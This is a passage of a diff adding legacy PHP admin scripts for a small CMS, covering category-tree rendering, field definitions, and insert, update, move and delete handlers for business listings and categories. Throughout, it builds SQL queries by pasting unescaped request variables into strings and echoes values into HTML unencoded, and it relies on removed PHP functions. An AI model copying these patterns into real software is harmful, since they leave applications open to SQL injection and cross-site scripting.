+ var $beginItem = "<li>";
+ var $beginItem2 = "<li>";
+ var $endItem = "</li>";
+ var $wholeThread;
+
+/******************************************************************************
+ *
+ * Threads(string $code = "")
+ *
+ ******************************************************************************
+ *
+ * Class constructor
+ *
+ ******************************************************************************
+ *
+ * Parameters:
+ * $code = array(
+ * beginLevel => "",
+ * endLevel => "",
+ * beginItem => "",
+ * endItem => "")
+ *
+ *
+ *
+ ******************************************************************************
+ *
+ * Return value:
+ * Returns 1 on success 0 on failure
+ *
+ *****************************************************************************/
+
+ function Thread($code="")
+ {
+ if(!empty($code))
+ {
+ $this->beginLevel = $code[beginLevel];
+ $this->beginLevel2 = $code[beginLevel2];
+ $this->endLevel = $code[endLevel];
+ $this->beginItem = $code[beginItem];
+ $this->beginItem2 = $code[beginItem2];
+ $this->endItem = $code[endItem];
+ }
+ }
+
+/******************************************************************************
+ *
+ * sortChilds(array $threads)
+ *
+ ******************************************************************************
+ *
+ * Sorts the childs under their parent
+ *
+ ******************************************************************************
+ *
+ * Parameters:
+ * $threads array();
+ *
+ ******************************************************************************
+ *
+ * Return value:
+ * Returns array $childs
+ *
+ *****************************************************************************/
+
+ function sortChilds($threads)
+ { while(list($var, $value) = each($threads))
+ $childs[$value[parent]][$value[ID]] = $value;
+ return $childs;
+ }
+
+/******************************************************************************
+ *
+ * convertToThreads(array $threads)
+ *
+ ******************************************************************************
+ *
+ * Creates the output of the sorted $threads array
+ *
+ ******************************************************************************
+ *
+ * Parameters:
+ *
+ *
+ ******************************************************************************
+ *
+ * Return value:
+ *
+ *
+ *****************************************************************************/
+
+ function convertToThread($threads, $thread)
+ {
+ static $count;
+ if( !$count )
+ {
+ $this->wholeThread .= $this->beginLevel2;
+ }
+ else
+ {
+ $this->wholeThread .= $this->beginLevel;
+ }
+ while(list($parent, $value) = each($thread))
+ {
+ if( $threads[$parent] && $value['closed'] )
+ {
+ $this->wholeThread .= $this->beginItem2;
+ $this->wholeThread .= '<a href="list_bus_category.phtml?expand='.$value['ID'].'"
+ title="Expand"><img border="0" src="images/expand.png"></a> ';
+ }
+ elseif( $threads[$parent] && !$value['closed'] )
+ {
+ $this->wholeThread .= $this->beginItem2;
+ $this->wholeThread .= '<a href="list_bus_category.phtml?fold='.$value['ID'].'"
+ title="Fold"><img border="0"src="images/collapse.png"></a> ';
+ }
+ else
+ {
+ $this->wholeThread .= $this->beginItem;
+ }
+ $count++;
+ $this->wholeThread .= "<a href=edit_bus_category.phtml?id="
+ . $value['ID'] .">[Edit]</a>" . "<a href=list_bus.phtml?catid="
+ . $value['ID'] . ">[Paragraphs]</a>"
+ . $value[pos]
+ . "<b>".$value[active];
+ $this->wholeThread .= $value['content'] . "</b>" . $this->endItem ."\n";
+ if( $threads[$parent] && !$value['closed'] )
+ {
+ $this->convertToThread($threads, $threads[$parent]);
+ }
+ }
+ $this->wholeThread .= $this->endLevel;
+ return $this->wholeThread;
+ }
+}
+
+
+?>
--- /dev/null
+<?php
+include_once("../../setup.phtml");
+include_once("../../classes/class_template.inc");
+define("TOOLBOX_FLAGS",1);
+$DB =& new GLM_DB();
+if(!$base_parent)
+ {
+ if($catid)
+ {
+ $conn = db_connect(CONN_STR);
+ $base_parent = get_parentid($catid,NULL,$conn);
+ if( $catid == 5 )
+ {
+ $base_parent = "support";
+ }
+ }
+ else
+ {
+ $base_parent = 0;
+ }
+ if( $catid && GLM_TEMPLATE::is_sub_id( $catid, 6 , &$DB) )
+ {
+ $base_parent = "photos";
+ }
+ }
+switch($base_parent)
+ {
+ case "photos":
+ $fields[] = array( name => "id", title => "id", type => "hide");
+ $fields[] = array( name => "image", title => "Image", type => "img");
+ $fields[] = array( name => "name", title => "Name", type => "text");
+ break;
+ case "support":
+ $fields[] = array( name => "id", title => "id", type => "hide");
+ $fields[] = array( name => "image", title => "Image", type => "img");
+ $fields[] = array( name => "name", title => "Name", type => "text");
+ $fields[] = array( name => "title", title=> "Title",type => "text");
+ $fields[] = array( name => "org", title => "Organization/Company Name", type => "text");
+ $fields[] = array( name => "phone", title => "Phone", type => "text");
+ $fields[] = array( name => "email", title => "Email", type => "text");
+ $fields[] = array( name => "description", title => "Description", type => "desc");
+ break;
+ default:
+ $fields[] = array( name => "id", title => "id", type => "hide");
+ $fields[] = array( name => "name", title => "Header", type => "text");
+ //$fields[] = array( name => "address", title => "Address", type => "text");
+ //$fields[] = array( name => "city", title => "City", type => "text");
+ // $fields[] = array( name => "state", title => "State", type => "text");
+ //$fields[] = array( name => "zip", title => "Zip", type => "text");
+ // $fields[] = array( name => "phone", title => "Phone", type => "text");
+ // $fields[] = array( name => "fax", title => "Fax", type => "text");
+ // $fields[] = array( name => "email", title => "Email", type => "text");
+ // $fields[] = array( name => "urlname", title => "URL Name", type => "text");
+ // $fields[] = array( name => "url", title => "URL", type => "text");
+ //$fields[] = array( name => "Images and Descriptions", type => "seperator");
+ $fields[] = array( name => "description", title => "Description", type => "desc");
+ //$fields[] = array( name => "imagename", title=> "Image Name",type => "text");
+ $fields[] = array( name => "image", title => "Image", type => "img");
+ //$fields[] = array( name => "description2", title => "Description 2", type => "desc");
+ //$fields[] = array( name => "image2name", title=> "Image Name 2",type => "text");
+ //$fields[] = array( name => "image2", title => "Image 2", type => "img");
+ //$fields[] = array( name => "description3", title => "Description 3", type => "desc");
+ //$fields[] = array( name => "image3name", title=> "Image Name 3",type => "text");
+ //$fields[] = array( name => "image3", title => "Image 3", type => "img");
+ $fields[] = array( name => "File uploads", type => "seperator");
+ $fields[] = array( name => "filename", title=> "File Name",type => "text");
+ $fields[] = array( name => "file", title => "File 1", type => "file");
+ $fields[] = array( name => "file2name", title=> "File Name 2",type => "text");
+ $fields[] = array( name => "file2", title => "File 2", type => "file");
+ $fields[] = array( name => "file3name", title=> "File Name 3",type => "text");
+ $fields[] = array( name => "file3", title => "File 3", type => "file");
+ break;
+ }
+function check_lock($id)
+{
+ if( isset( $id ) && $id != '' && is_numeric( $id ) )
+ {
+ if( file_exists( BASE.'static/'.$id.'.phtml' ) )
+ {
+ return( true );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+ else
+ {
+ return( false );
+ }
+
+}
+function sort_by_parent($data)
+ {
+ if(!is_array($data))
+ return(false);
+ foreach($data as $key=>$value)
+ {
+ $data_new[$value["parent"]][$value["id"]] = $value;
+ }
+ return($data_new);
+ }
+
+function convertParent($threads,$thread)
+ {
+ static $select,$count;
+ if(!$count)
+ $count = 0;
+ $bgcolor[] = "#ffffff";
+ $bgcolor[] = "#ffffff";
+ $bgcolor[] = "#03A9BC";
+ $bgcolor[] = "#6FD579";
+ $bgcolor[] = "#E36BCB";
+ $bgcolor[] = "#F92A23";
+ if(is_array($thread))
+ {
+ foreach($thread as $parent=>$value)
+ {
+ $color = $bgcolor[$count];
+ $select[$value["id"]]["color"] = $color;
+ $select[$value["id"]]["category"] = $value["category"];
+ $select[$value["id"]]["count"] = $count;
+
+ if(isset($threads[$parent]))
+ {
+ $count++;
+ convertParent($threads, $threads[$parent]);
+ }
+ }
+ }
+ $count--;
+ return $select;
+ }
+
+function parent_select($catid,$id,$sel_name = "parent")
+ {
+ // select catid portion
+ $qs = "SELECT id,category,parent
+ FROM bus_category
+ ORDER BY parent,pos";
+
+ $data = db_auto_get_data($qs,CONN_STR);
+ $data1 = sort_by_parent($data);
+ $select = "<select name=\"".$sel_name."\">";
+ if( $sel_name == "parent" )
+ {
+ $select .= "<option value=\"0\">--No Parent--";
+ }
+ $parts = convertParent($data1,$data1[0]);
+ if(is_array($parts))
+ {
+ foreach($parts as $key=>$value)
+ {
+ if($key != $id && ( $value['count'] < 2 || $sel_name == "catid[]" ))
+ {
+ $bkg = $value["color"];
+ $indent = (int)$value["count"] * 10;
+ $cc = (int)$value["count"] * 2;
+ $paddman = str_repeat(" ",$cc);
+ $select .= '<option value="'.$key.'"';
+ if($key == $catid)
+ $select .= ' selected';
+ $select .= '
+ style="background-color:'.$bkg.';"';
+ $select .= '>'.$paddman.$value["category"];
+ }
+ }
+ }
+ $select .= "</select>";
+ if(CAT_LOCK && $sel_name == "parent")
+ {
+ if($catid!=0)
+ {
+ $qs = "SELECT category
+ FROM bus_category
+ WHERE id = $catid";
+
+ $res2 = db_auto_get_data($qs,CONN_STR);
+ $category = $res2['category'];
+ }
+ else
+ {
+ $category = "No Parent";
+ }
+
+ $select = $category."<input type=\"hidden\" name=\"$sel_name\" value=\"$catid\">";
+ }
+ return($select);
+ }
+$lnav["Add A New Page"] = "edit_bus_category.phtml";
+$lnav["List Pages"] = "list_bus_category.phtml";
+?>
--- /dev/null
+<?php
+//$Id: update_bus.phtml,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+include("../../setup.phtml");
+include("toolbox_setup.inc");
+
+$description = ( trim( strip_tags( $description ) ) != "" ) ? $description :'';
+$description2 = ( trim( strip_tags( $description2 ) ) != "" ) ? $description2 :'';
+$description3 = ( trim( strip_tags( $description3 ) ) != "" ) ? $description3 :'';
+define("TABLE","bus");
+define("ID","id");
+define("SEQUENCE","bus_id_seq");
+
+$LAST = count($fields)-1;
+$location = "../list_bus.phtml?catid=$catid";
+
+http_strip($url);
+
+if( $REQUEST_METHOD == "POST" || $Command == "Move" ) {
+
+ switch($Command) {
+
+ case "Move":
+ if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+
+ $qs = "SELECT pos,id
+ FROM bus_category_bus
+ WHERE id = $id";
+
+ if(!$result = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $data = db_fetch_array($result,0,PGSQL_ASSOC);
+ $pos = $data['pos'];
+
+ if($newpos < $pos) {
+ $qs = "SELECT id,pos
+ FROM bus_category_bus
+ WHERE pos < $pos
+ AND pos >= $newpos
+ AND catid = $catid
+ ORDER BY pos";
+ if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $counter = ($newpos + 1);
+ for($i=0;$i<db_numrows($res);$i++) {
+ $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+ $res_id = $res_data['id'];
+ $res_pos = $res_data['pos'];
+ $qs = "UPDATE bus_category_bus
+ SET pos = $counter
+ WHERE id = $res_id";
+
+ if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $counter++;
+ }
+ }
+ else {
+ $qs = "SELECT pos,id
+ FROM bus_category_bus
+ WHERE pos > $pos
+ AND pos <= $newpos
+ AND catid = $catid
+ ORDER BY pos";
+
+ if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $counter = ($pos);
+ for($i=0;$i<db_numrows($res);$i++) {
+ $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+ $res_id = $res_data['id'];
+ $res_pos = $res_data['pos'];
+ $qs = "UPDATE bus_category_bus
+ SET pos = $counter
+ WHERE id = $res_id";
+
+ if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $counter++;
+ }
+ }
+ $qs = "UPDATE bus_category_bus
+ SET pos = $newpos
+ WHERE id = $id";
+
+ if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $location = "list_bus.phtml?catid=$catid";
+ break;
+
+ case "Update":
+ $oldcatid = ereg_replace("^:","",$oldcatid);
+ $oldcatid = split(":",$oldcatid);
+
+ if($category)
+ {
+ $category = ereg_replace("^:","",$category);
+ $catid = split(":",$category);
+ }
+/*
+ echo "<pre>";
+ //print_r($_POST);
+ print_r($oldcatid);
+ print_r($catid);
+ echo "</pre>";
+ //echo "oldcatid = $oldcatid[0]<br>";
+ //echo "catid = $catid[0]<br>";
+*/
+ if(!$dbd = db_connect())
+ html_error(DB_ERROR_MSG,0);
+ db_exec($dbd,"BEGIN WORK");
+
+ $array_counter = 0;
+ if(is_array($catid))
+ {
+
+ $query = "select catid,pos from bus_category_bus where busid = $id";
+ $res = db_exec($dbd,$query);
+ $oldpos = pg_result($res,0,'pos');
+ while( $row = pg_fetch_array( $res ) )
+ {
+ // do this only if ald catid is being removed
+ if( !in_array( $row['catid'],$catid ) )
+ {
+ $query = "update bus_category_bus set pos = pos - 1 where catid = ".$row['catid']." and pos >= $oldpos";
+//echo $query.'<br>';
+ db_exec($dbd,$query);
+ $query = "delete from bus_category_bus where catid = ".$row['catid']." and busid = $id";
+//echo $query.'<br>';
+ db_exec($dbd,$query);
+ }
+
+ }
+
+ foreach($catid as $key=>$value)
+ {
+
+ // do this only if ald catid is being removed
+ if( !in_array( $value,$oldcatid ) )
+ {
+ $qs = "SELECT count(*) as maxpos
+ FROM bus_category_bus
+ WHERE catid = $value";
+
+ if(!$res = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+ $pos = ( $row['maxpos'] == 0 ) ? (int)0 : (int)$row['maxpos'] ;
+ $pos++;
+
+ $qs = "INSERT
+ INTO bus_category_bus
+ (busid,catid,pos)
+ VALUES ($id,$value,$pos)";
+ //echo $qs.'<br>';
+ if(!db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+ }
+ }
+ }
+ //exit();
+ $fields = array_reverse($fields);
+ $qs = "UPDATE ".TABLE." SET ";
+ for($i=0;$i<count($fields);$i++)
+ {
+ if($fields[$i][type]=="date")
+ {
+ $month = $fields[$i][name]."_month";
+ $day = $fields[$i][name]."_day";
+ $year = $fields[$i][name]."_year";
+ $date = date("Y-m-d H:i:s T",mktime(0,0,0,$$month,$$day,$$year));
+ $qs .= $fields[$i][name]." = '$date'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ elseif($fields[$i][type]=="datetime")
+ {
+ $month = $fields[$i][name]."_month";
+ $day = $fields[$i][name]."_day";
+ $year = $fields[$i][name]."_year";
+ $H = $fields[$i][name]."_hour";
+ $mm = $fields[$i][name]."_mm";
+ if($$mm == "PM")
+ $$H = $$H + 12;
+ $m = $fields[$i][name]."_min";
+ $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+ $qs .= $fields[$i][name]." = '$date'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ elseif($fields[$i][name]!=ID)
+ {
+ if($fields[$i][type]=="img")
+ {
+ $tmpimg = $fields[$i]['name'];
+ $image_tmp = $$tmpimg;
+ $oldy = ${"old".$tmpimg};
+ $image_tmp_name = ${$tmpimg."_name"};
+ if($image_tmp == "none" || $image_tmp == "")
+ {
+ $image_tmp_name = $oldy;
+ }
+ else
+ {
+ $image_tmp_name = process_image($image_tmp,$image_tmp_name);
+ @unlink(ORIGINAL_PATH.$oldy);
+ @unlink(RESIZED_PATH.$oldy);
+ @unlink(THUMB_PATH.$oldy);
+ @unlink(MIDSIZED_PATH.$oldy);
+ }
+ $delete = ${"delete".$tmpimg};
+ if($delete==1)
+ {
+ $image_tmp_name = "";
+ @unlink(ORIGINAL_PATH.$oldy);
+ @unlink(RESIZED_PATH.$oldy);
+ @unlink(THUMB_PATH.$oldy);
+ @unlink(MIDSIZED_PATH.$oldy);
+ }
+ $qs .= $fields[$i][name]." = '".$image_tmp_name."'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ elseif($fields[$i][type]=="seperator")
+ {
+ //empty
+ }
+ elseif($fields[$i][type]=="file")
+ {
+ $tmpfile = $fields[$i]['name'];
+ $file_tmp = $$tmpfile;
+ $oldy = ${"old".$tmpfile};
+ $file_tmp_name = ${$tmpfile."_name"};
+ if($file_tmp == "none" || $file_tmp == "")
+ {
+ $file_tmp_name = $oldy;
+ }
+ else
+ {
+ $file_tmp_name = file_upload($file_tmp,$file_tmp_name,UP_BASE);
+ }
+
+ $delete = ${"delete".$tmpfile};
+ if($delete==1)
+ {
+ $file_tmp_name = "";
+ @unlink(UP_BASE.$oldy);
+ }
+ $qs .= $fields[$i][name]." = '".$file_tmp_name."'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ elseif($fields[$i][type]=="static")
+ {
+ }
+ elseif($fields[$i][type]=="password")
+ {
+ if(($password && $password2) && ($password == $password2))
+ {
+ $qs .= $fields[$i][name]." = '".$$fields[$i][name]."'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ }
+ else
+ {
+ $qs .= $fields[$i][name]." = '".$$fields[$i][name]."'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ }
+ else
+ {
+ $qs = substr($qs,0,strlen($qs)-1);
+ $qs .= " WHERE ".$fields[$i][name]." = ".$$fields[$i][name];
+ }
+ }
+ $fields = array_reverse($fields);
+//echo $qs;
+//exit;
+ if(!db_exec($dbd,$qs))
+ $ERRORS .= pg_errormessage($dbd).$qs;
+ $location = "list_bus.phtml?catid=".$catid[0]."&".SID;
+ db_exec($dbd,"COMMIT WORK");
+ break;
+
+ case "Insert":
+ if($category)
+ {
+ $category = ereg_replace("^:","",$category);
+ $catid = split(":",$category);
+ }
+ if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+ $tmp = "";
+ $tmp_value = "";
+ for($i=0;$i<count($fields);$i++)
+ {
+ if($fields[$i][name]!=ID)
+ {
+ if($fields[$i][type]!="static" && $fields[$i][type]!="seperator")
+ {
+ $tmp .= $fields[$i][name];
+ $tmp .= ",";
+ }
+ }
+ }
+ for($i=0;$i<count($fields);$i++)
+ {
+ if($fields[$i][type]=="date")
+ {
+ $month = $fields[$i][name]."_month";
+ $day = $fields[$i][name]."_day";
+ $year = $fields[$i][name]."_year";
+ $date = date("Y-m-d H:i:s T",mktime(0,0,0,$$month,$$day,$$year));
+ $tmp_value .= "'$date'";
+ $tmp_value .= ",";
+ }
+ elseif($fields[$i][type]=="static")
+ {
+ }
+ elseif($fields[$i][type]=="seperator")
+ {
+ }
+ elseif($fields[$i][type]=="datetime")
+ {
+ $month = $fields[$i][name]."_month";
+ $day = $fields[$i][name]."_day";
+ $year = $fields[$i][name]."_year";
+ $H = $fields[$i][name]."_hour";
+ $mm = $fields[$i][name]."_mm";
+ if($$mm == "PM")
+ $$H = $$H + 12;
+ $m = $fields[$i][name]."_min";
+ $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+ $tmp_value .= "'$date'";
+ $tmp_value .= ",";
+ }
+ elseif($fields[$i][type]=="img")
+ {
+ $tmpimg = $fields[$i]['name'];
+ $image = $$tmpimg;
+ $image_name = ${$tmpimg."_name"};
+ if($image == "none" || $image == "")
+ {
+ $image_name = '';
+ }
+ else
+ {
+ $image_name = process_image($image,$image_name);
+ }
+ $tmp_value .= "'".$image_name."'";
+ $tmp_value .= ",";
+ }
+ elseif($fields[$i][type]=="file")
+ {
+ $tmpfile = $fields[$i]['name'];
+ $file = $$tmpfile;
+ $file_name = ${$tmpfile."_name"};
+ if($file == "none" || $file == "")
+ {
+ $file_name = '';
+ }
+ else
+ {
+ $file_name = file_upload($file,$file_name,UP_BASE);
+ }
+ $tmp_value .= "'".$file_name."'";
+ $tmp_value .= ",";
+ }
+ elseif($fields[$i][name]!=ID)
+ {
+ $tmp_value .= "'".$$fields[$i][name]."'";
+ $tmp_value .= ",";
+ }
+ }
+ // get the lat and lon for bus
+
+ // check for all blanks
+ $tmp_blank = str_replace("'","",$tmp_value);
+ $tmp_blank = str_replace(",","",$tmp_blank);
+ $tmp = substr($tmp,0,strlen($tmp)-1);
+ $tmp_value = substr($tmp_value,0,strlen($tmp_value)-1);
+ if(!$res = db_exec($dbd,"BEGIN WORK"))
+ die( pg_errormessage($dbd).$qs );
+ if($tmp_blank)
+ {
+ $qs = "INSERT INTO ".TABLE."
+ (".ID.", $tmp )
+ VALUES
+ (nextval('".SEQUENCE."'), $tmp_value)";
+ if(!$res = db_exec($dbd,$qs))
+ {
+ die( pg_errormessage($dbd).$qs );
+ }
+ if(!$oid = pg_GetLastOid($res))
+ {
+ die( pg_errormessage($dbd).$qs );
+ html_error("CANT GET LAST OID",1);
+ }
+
+ $qs = "SELECT id
+ FROM bus
+ WHERE oid = $oid";
+ if(!$res = db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,0);
+ }
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+ if(is_array($catid))
+ {
+ foreach($catid as $key=>$value)
+ {
+ $qs = "SELECT count(*) as maxpos
+ FROM bus_category_bus
+ WHERE catid = $value";
+
+ if(!$res = db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+
+ $row2 = db_fetch_array($res,0,PGSQL_ASSOC);
+ if( !$pos = $row2[maxpos])
+ {
+ $pos = 1;
+ }
+ else
+ {
+ $pos++;
+ }
+
+ $qs = "INSERT
+ INTO bus_category_bus
+ (busid,catid,pos)
+ VALUES ($row[id],$value,$pos)";
+
+ if(!db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+ if(!$res = db_exec($dbd,"COMMIT WORK"))
+ {
+ die( pg_errormessage($dbd).$qs );
+ }
+ }
+ }
+ else
+ {
+ $qs = "SELECT count(*) as maxpos
+ FROM bus_category_bus
+ WHERE catid = $catid";
+
+ if(!$res = db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+
+ $row2 = db_fetch_array($res,0,PGSQL_ASSOC);
+ if( !$pos = $row2[maxpos])
+ {
+ $pos = 1;
+ }
+ else
+ {
+ $pos++;
+ }
+ $qs = "INSERT
+ INTO bus_category_bus
+ (busid,catid,pos)
+ VALUES ($row[id],$catid,$pos)";
+
+ if(!db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+ if(!$res = db_exec($dbd,"COMMIT WORK"))
+ {
+ die( pg_errormessage($dbd).$qs );
+ }
+ }
+ }
+ $location = "list_bus.phtml?catid=".$catid[0]."&".SID;
+
+ break;
+
+ case "Delete":
+ $oldcatid = ereg_replace("^:","",$oldcatid);
+ $oldcatid = split(":",$oldcatid);
+
+ $qs = "DELETE FROM bus
+ WHERE id = $id";
+ if(!db_auto_exec($qs)) html_error("failed ->".$qs,1);
+
+ @unlink(ORIGINAL_PATH."/".$oldimage);
+ @unlink(RESIZED_PATH.$oldimage);
+ @unlink(THUMB_PATH.$oldimage);
+ @unlink(MIDSIZED_PATH.$oldimage);
+
+ @unlink(ORIGINAL_PATH."/".$oldimage2);
+ @unlink(RESIZED_PATH.$oldimage2);
+ @unlink(THUMB_PATH.$oldimage2);
+ @unlink(MIDSIZED_PATH.$oldimage2);
+
+ @unlink(ORIGINAL_PATH."/".$oldimage3);
+ @unlink(RESIZED_PATH.$oldimage3);
+ @unlink(THUMB_PATH.$oldimage3);
+ @unlink(MIDSIZED_PATH.$oldimage3);
+
+ @unlink(UP_BASE.$oldfile);
+ @unlink(UP_BASE.$oldfile2);
+ @unlink(UP_BASE.$oldfile3);
+ $dbd = db_connect();
+
+ if(!$dbd) html_erro(DB_ERROR_MSG,1);
+
+ foreach($oldcatid as $key=>$value){
+ $qs = "SELECT id,pos
+ FROM bus_category_bus
+ WHERE busid = $id";
+
+ if(!$res = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+
+ $qs = "SELECT id
+ FROM bus_category_bus
+ WHERE pos > $row[pos]
+ AND catid = $value
+ ORDER BY pos";
+
+ if(!$res2 = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+
+ $counter = $row[pos];
+ for($i=0;$i<db_numrows($res2);$i++) {
+ $row2 = db_fetch_array($res2,$i,PGSQL_ASSOC);
+
+ $qs = "UPDATE bus_category_bus
+ SET pos = $counter
+ WHERE id = $row2[id]";
+
+ if(!db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+ $counter++;
+ }
+ }
+ $qs = "DELETE
+ FROM bus_category_bus
+ WHERE busid = $id";
+
+ if(!db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+ $location = "list_bus.phtml?catid=".$oldcatid[0]."&".SID;
+ break;
+
+ case "Cancel":
+ $oldcatid = ereg_replace("^:","",$oldcatid);
+ $oldcatid = split(":",$oldcatid);
+ $catid = ereg_replace("^:","",$oldcatid);
+ $catid = split(":",$oldcatid);
+ $location = "list_bus.phtml?catid=".$oldcatid[0]."&".SID;
+ break;
+
+ default:
+ html_error("incorrect value for Command",1);
+ break;
+
+ }
+
+ header("Location: $location");
+}
+?>
--- /dev/null
+<?php
+//$Id: update_bus_category.phtml,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+include("../../setup.phtml");
+$description = ( trim( strip_tags( $description ) ) != "" ) ? $description :'';
+if($REQUEST_METHOD == "POST" || $Command == "Move") {
+ switch($Command) {
+
+ case "Move":
+ if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+
+ $qs = "SELECT pos,id
+ FROM bus_category
+ WHERE id = $id";
+
+ if(!$result = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $data = db_fetch_array($result,0,PGSQL_ASSOC);
+ $pos = $data['pos'];
+
+ if($newpos < $pos) {
+ $qs = "SELECT id,pos
+ FROM bus_category
+ WHERE pos < $pos
+ AND pos >= $newpos
+ AND parent = $parent
+ ORDER BY pos";
+
+ if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $counter = ($newpos + 1);
+ for($i=0;$i<db_numrows($res);$i++) {
+ $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+ $res_id = $res_data['id'];
+ $res_pos = $res_data['pos'];
+ $qs = "UPDATE bus_category
+ SET pos = $counter
+ WHERE id = $res_id";
+
+ if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $counter++;
+ }
+ }
+ else {
+ $qs = "SELECT pos,id
+ FROM bus_category
+ WHERE pos > $pos
+ AND pos <= $newpos
+ AND parent = $parent
+ ORDER BY pos";
+
+ if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $counter = ($pos);
+ for($i=0;$i<db_numrows($res);$i++) {
+ $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+ $res_id = $res_data['id'];
+ $res_pos = $res_data['pos'];
+ $qs = "UPDATE bus_category
+ SET pos = $counter
+ WHERE id = $res_id";
+
+ if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $counter++;
+ }
+ }
+ $qs = "UPDATE bus_category
+ SET pos = $newpos
+ WHERE id = $id";
+
+ if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $location = "list_bus_category.phtml?catid=$catid";
+ break;
+
+ case "Update":
+
+ if($image != "none" && $image != "") {
+ @unlink(ORIGINAL_PATH."/".$oldimage);
+ @unlink(RESIZED_PATH.$oldimage);
+ @unlink(THUMB_PATH.$oldimage);
+ @unlink(MIDSIZED_PATH.$oldimage);
+ $image_name = process_image($image,$image_name);
+ }
+ else {
+ $image_name = $oldimage;
+ }
+
+ if($delete == "1") {
+ $image_name = "";
+
+ @unlink(ORIGINAL_PATH."/".$oldimage);
+ @unlink(RESIZED_PATH.$oldimage);
+ @unlink(THUMB_PATH.$oldimage);
+ @unlink(MIDSIZED_PATH.$oldimage);
+ }
+
+ if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+
+ if($parent != $oldparent) {
+
+ $qs = "SELECT MAX(pos) as maxpos
+ FROM bus_category
+ WHERE parent = $parent";
+
+ $res = db_exec($dbd,$qs);
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+ $pos = $row[maxpos];
+ $pos++;
+
+ $qs = "SELECT pos,id
+ FROM bus_category
+ WHERE parent = $oldparent
+ AND pos > $oldpos
+ ORDER BY pos";
+
+ $res2 = db_exec($dbd,$qs);
+ $oldparent_counter = $oldpos;
+ for($i=0;$i<db_numrows($res2);$i++) {
+ $row2 = db_fetch_array($res2,$i,PGSQL_ASSOC);
+ $qs = "UPDATE bus_category
+ SET pos = $oldparent_counter
+ WHERE id = $row2[id]";
+
+ db_exec($dbd,$qs);
+ $oldparent_counter++;
+ }
+
+ }
+ else {
+ $pos = $oldpos;
+ }
+ $template = ( $template ) ? $template : 1;
+
+ $qs = "update bus_category
+ set category = '$category',
+ parent = $parent,
+ pos = $pos,
+ intro = '$intro',
+ description = '$description',
+ image = '$image_name',
+ keyword = '$keyword',
+ template = $template
+ where id = $id";
+
+ if(!db_auto_exec($qs)) html_error("failed ->".$qs,1);
+
+ $location = "list_bus_category.phtml?".SID;
+
+ break;
+
+ case "Insert":
+
+ $parent = ( $parent ) ? $parent : 0;
+ if($image != "none" && $image != "") {
+ $image_name = process_image($image,$image_name);
+ }
+ else {
+ $image_name = $oldimage;
+ }
+
+ if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+
+ $qs = "SELECT MAX(pos) as maxpos
+ FROM bus_category
+ WHERE parent = $parent";
+
+ $res = db_exec($dbd,$qs);
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+ $nextpos = $row[maxpos];
+ $nextpos++;
+
+ db_close($dbd);
+
+ $template = ( $template ) ? $template : 1;
+ $parent = ( $parent ) ? $parent : 0;
+ $qs = "insert into bus_category
+ (template,keyword,category,parent,intro,description,image,pos)
+ values
+ ($template,'$keyword','$category',$parent,'$intro','$description','$image_name',$nextpos)";
+
+ if(!db_auto_exec($qs)) html_error("failed ->".$qs,1);
+
+ $location = "list_bus_category.phtml?".SID;
+
+ break;
+
+ case "Delete":
+
+ $dbd = db_connect();
+
+ if(!$dbd) html_erro(DB_ERROR_MSG,1);
+
+ $qs = "SELECT count(*) as count
+ FROM bus_category_bus
+ WHERE catid = $id";
